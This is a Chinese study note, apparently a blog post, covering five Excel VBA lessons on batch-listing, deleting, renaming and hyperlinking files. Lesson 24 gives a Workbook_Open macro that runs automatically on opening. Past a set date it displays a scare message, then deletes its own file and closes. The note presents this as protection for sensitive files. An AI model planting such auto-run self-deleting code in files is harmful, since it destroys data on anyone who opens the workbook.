Day5-1-跟着孙兴华学习Excel VBA 第一季

目录

第21节 按指定条件批量删除工作簿

第22节 批量获取指定文件夹下文件名并创建超链接

第23节 批量给工作簿重命名

第24节 对office文件设置自杀程序

 第25节 获取多层文件夹下文件名并创建超链接

---

因懒惰，1天没有更新笔记，罚今天补更一份笔记。

第21节 按指定条件批量删除工作簿

场景：

代码1

Sub GetFiles()
    Dim strPath As String, strFileName As String, k As Long
    With Application.FileDialog(msoFileDialogFolderPicker)
        If .Show Then strPath = .SelectedItems(1) Else: Exit Sub
        '获取用户选择的文件夹的路径，如果未选取，则退出程序
    End With
    If Right(strPath, 1) <> "\" Then strPath = strPath & "\"
    Application.ScreenUpdating = False
    Range("a:b").Clear: k = 1
    '清除A:B列的所有
    Cells(1, 1) = "旧文件名": Cells(1, 2) = "是否删除"
    strFileName = Dir(strPath & "*.xls*")
    Do While strFileName <> ""
        k = k + 1
        Cells(k, 1) = strPath & strFileName
        strFileName = Dir
    Loop
    Application.DisplayAlerts = True
End Sub

代码2 

Sub DeleteFile()
    Dim r, i As Long
    r = Range("a1").CurrentRegion '数据装入数组
    For i = 2 To UBound(r)
    '标题行不要，从数组第二行开始遍历
        If r(i, 2) = "删除" Then Kill r(i, 1) 'Kill语句删除指定文件
    Next
    MsgBox "完成。"
End Sub

新建一个工作表——开发工具——visual basic——插入模块——复制粘贴代码1———光标定位到代码内——点击运行子模块

选择批量删除工作簿所存储文件夹——点击确定

如需删除某个工作簿，在是否删除列填上“删除”——点击该表开发工具——visual basic——插入模块——复制粘贴代码2———光标定位到代码内——点击运行子模块

人力和财务工作簿被删除

---

第22节 批量获取指定文件夹下文件名并创建超链接

打开一个Excel空白文档，点击该表开发工具——visual basic——插入模块——复制粘贴代码———光标定位到代码内——点击运行子模块——选择指定文件夹——点击确定——生成带超链接的汇总表

Sub GetFiles()
    Dim strPath As String, strFileName As String, k As Long
    With Application.FileDialog(msoFileDialogFolderPicker)
        '用户选择文件夹路径
        If .Show Then strPath = .SelectedItems(1) Else Exit Sub
        '如果用户为选择文件夹则退出程序
    End With
    If Right(strPath, 1) <> "\" Then strPath = strPath & "\"
    Application.ScreenUpdating = False '取消屏幕刷新
    strFileName = Dir(strPath & "*.*")
    'dir+通配符获取首个文件名
    '如果一个文件也无，则返回空
    Columns(1).Clear: Cells(1, 1) = "目录": k = 1 '清除当前工作表A列数据
    Do While strFileName <> ""
        k = k + 1 '累加文件个数
        ActiveSheet.Hyperlinks.Add Cells(k, 1), strPath & strFileName
        '创建超链接
        strFileName = Dir
        '第2次调用Dir函数，未使用任何参数，则同目录下的下一个文件名
    Loop
    Application.ScreenUpdating = True
    MsgBox "一共读取了：" & k-1 & "个文件名。"
End Sub

第23节 批量给工作簿重命名

---

打开一个Excel空白文档，点击该表开发工具——visual basic——插入模块——复制粘贴代码1———光标定位到代码内——点击运行子模块——选择指定文件夹——点击确定

代码1

Sub GetFiles()
    Dim strPath As String, strFileName As String, k As Long
    With Application.FileDialog(msoFileDialogFolderPicker)
        If .Show Then strPath = .SelectedItems(1) Else: Exit Sub
        '获取用户选择的文件夹的路径，如果未选取，则退出程序
    End With
    If Right(strPath, 1) <> "\" Then strPath = strPath & "\"
    Application.ScreenUpdating = False
    Range("a:b").Clear: k = 1
    '清除A:B列的所有
    Cells(1, 1) = "旧文件名": Cells(1, 2) = "新文件名"
    strFileName = Dir(strPath & "*.xls*")
    Do While strFileName <> ""
        k = k + 1
        Cells(k, 1) = strPath & strFileName
        strFileName = Dir
    Loop
    Application.DisplayAlerts = True
End Sub

代码2 

Sub ChangeFileName()
    Dim r, i As Long
    r = Range("a1").CurrentRegion '数据装入数组
    For i = 2 To UBound(r)
    '标题行不要，从数组第二行开始遍历
        Name r(i, 1) As r(i, 2) 'Name语句重命名
    Next
    MsgBox "更名完成。"
End Sub

如需修改某个工作簿名称，在新文件列填上新名称——点击该表开发工具——visual basic——点击sheet1插入模块——复制粘贴代码2———光标定位到代码内——点击运行子模块

---

第24节 对office文件设置自杀程序

第24节 对office文件设置自杀程序

场景：重要资料既怕被破解，需要其自杀

打开需要保护工作表——点击该表开发工具——visual basic——点击thisworkbook插入模块——复制粘贴代码———光标定位到代码内——点击运行子模块

Private Sub Workbook_Open()
    Dim dat As Date
    dat = DateSerial(2020, 1, 1)
    If Date >= dat Then
        Application.DisplayAlerts = False
        MsgBox "你是在偷看我的文件吗？" & vbCr & "别以为我不知道，我就在你身后看着你！白衣服，长头发，没有腿的那个。"
        With ThisWorkbook
            .Saved = True
            .ChangeFileAccess xlReadOnly
            Kill .FullName
            .Close
        End With
    End If
End Sub

运行结果

---

第25节 获取多层文件夹下文件名并创建超链接

场景：在Excel做目录，点击超链接就可以打开多层文件下的文件。

打开一个Excel 空白文档 ——点击该表开发工具——visual basic——点击sheet1——点击右键插入模块——复制粘贴代码

Sub AutoAddLink()
    Dim strFldPath As String
    With Application.FileDialog(msoFileDialogFolderPicker)
    '用户选择指定文件夹
        .Title = "请选择指定文件夹。"
        If .Show Then strFldPath = .SelectedItems(1) Else Exit Sub
        '未选择文件夹则退出程序，否则将地址赋予变量strFldPath
    End With
    Application.ScreenUpdating = False
    '关闭屏幕刷新
    Range("a:b").ClearContents
    Range("a1:b1") = Array("文件夹", "文件名")
    Call SearchFileToHyperlinks(strFldPath)
    '调取自定义函数SearchFileToHyperlinks
    Range("a:b").EntireColumn.AutoFit
    '自动列宽
    Application.ScreenUpdating = True
    '重开屏幕刷新
End Sub
Function SearchFileToHyperlinks(ByVal strFldPath As String) As String
    Dim objFld As Object
    Dim objFile As Object
    Dim objSubFld As Object
    Dim strFilePath As String
    Dim lngLastRow As Long
    Dim intNum As Integer
    Set objFld = CreateObject("Scripting.FileSystemObject").GetFolder(strFldPath)
    '创建FileSystemObject对象引用
    For Each objFile In objFld.Files
    '遍历文件夹内的文件
        lngLastRow = Cells(Rows.Count, 1).End(xlUp).Row + 1
        strFilePath = objFile.Path
        intNum = InStrRev(strFilePath, "\")
        '使用instrrev函数获取最后文件夹名截至的位置
        Cells(lngLastRow, 1) = Left(strFilePath, intNum - 1)
        '文件夹地址
        Cells(lngLastRow, 2) = Mid(strFilePath, intNum + 1)
        '文件名
        ActiveSheet.Hyperlinks.Add Anchor:=Cells(lngLastRow, 2), _
                    Address:=strFilePath, ScreenTip:=strFilePath
        '添加超链接
    Next objFile
    For Each objSubFld In objFld.SubFolders
    '遍历文件夹内的子文件夹
        Call SearchFileToHyperlinks(objSubFld.Path)
    Next objSubFld
    Set objFld = Nothing
    Set objFile = Nothing
    Set objSubFld = Nothing
End Function

运行后，选择文件存储的文件夹——点击确定

生成文件带超链接的目录：